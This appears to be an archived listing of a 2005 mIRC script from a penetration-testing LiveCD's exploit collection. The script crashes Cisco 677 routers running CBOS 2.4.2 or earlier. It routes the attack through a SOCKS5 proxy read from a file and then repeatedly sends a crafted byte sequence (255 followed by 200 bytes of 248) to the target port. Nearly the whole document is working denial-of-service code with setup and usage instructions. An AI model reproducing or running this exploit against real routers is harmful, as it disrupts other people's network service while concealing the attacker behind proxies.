home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / crashrouter.mrc < prev    next >
Encoding:
Text File  |  2005-02-12  |  1.9 KB  |  68 lines
  1. ;ereet mIRC script crashing cisco677 routers with CBOS <=2.4.2 according to ciscos advisory. 
  2. ;bounces thru a socks5 proxy read from proxy.txt.
  3. ;/load -rs path\to\crashrouter.mrc
  4. ;idea cokaine, script ewadoh
  5.  
  6. alias crashsetup {
  7.   write -c crash.ini [doh]
  8.   write crash.ini socksip=
  9.   run notepad crash.ini
  10. }
  11. alias crashrouter {
  12.   if ($1 == $null) {
  13.     echo 4 -a /crashrouter 123.123.123.123 port
  14.     echo 4 -a must be a numeric ip
  15.     return
  16.   }
  17.   var %port = $2
  18.   sockopen proxy $read proxy.txt 1080
  19.   sockmark proxy 0 $2 %port
  20.   echo 4 -a >connecting to socks 5 server $readini(crash.ini,doh,socksip) port 1080...
  21. }
  22. on *:sockopen:proxy:{
  23.   if ($sockerr > 0) { echo 4 -a >sockerr $ifmatch | return }
  24.   echo 4 -a >connected
  25.  
  26.   bset &con 1 5 1 0
  27.   sockwrite proxy &con
  28.  
  29.   echo 4 -a sent> $bvar(&con,1,256)
  30.   sockmark proxy 1 $gettok($sock(proxy).mark,2-,32)
  31. }
  32. on *:sockread:proxy:{
  33.   if ($sockerr > 0) { echo 4 -a >sockerr $ifmatch | return }
  34.  
  35.   sockread 256 &buffer
  36.   echo 4 -a rcvd> $bvar(&buffer,1,256)
  37.  
  38.   var %mark = $sock(proxy).mark
  39.   if ($gettok(%mark,1,32) == 1) {
  40.     var %port = $gettok(%mark,3,32)
  41.     tokenize 46 $gettok(%mark,2,32)
  42.     bset &con 1 5 1 0 1 $1 $2 $3 $4 $convport(%port).1 $convport(%port).2
  43.     sockwrite proxy &con
  44.     echo 4 -a sent> $bvar(&con,1,256)
  45.     sockmark proxy 2 $gettok($sock(proxy).mark,2-,32)
  46.     .timerTO1 1 10 sockclose proxy
  47.     .timerTO2 1 10 echo 4 -a >unable to connect
  48.     return
  49.   }
  50.   if ($gettok(%mark,1,32) == 2) {
  51.     if ($gettok($bvar(&buffer,1,256),2,32) != 0) { echo 4 -a >error? }
  52.     sockmark proxy
  53.     .timer -m 100 10 sockwrite proxy $chr(255) $+ $str($chr(248),200)
  54.     echo 4 -a >sending crap data...
  55.   }
  56.   .timerTO1 1 5 sockclose proxy
  57.   .timerTO2 1 5 echo 4 -a >connection closed
  58. }
  59. alias convport {
  60.  
  61.   var %a = $gettok($calc($1 / 256),1,46)
  62.   var %b = $calc($1 - (256 * %a))
  63.   if ($prop == 1) return %a
  64.   if ($prop == 2) return %b
  65.   return %a %b
  66. }
  67.  
  68.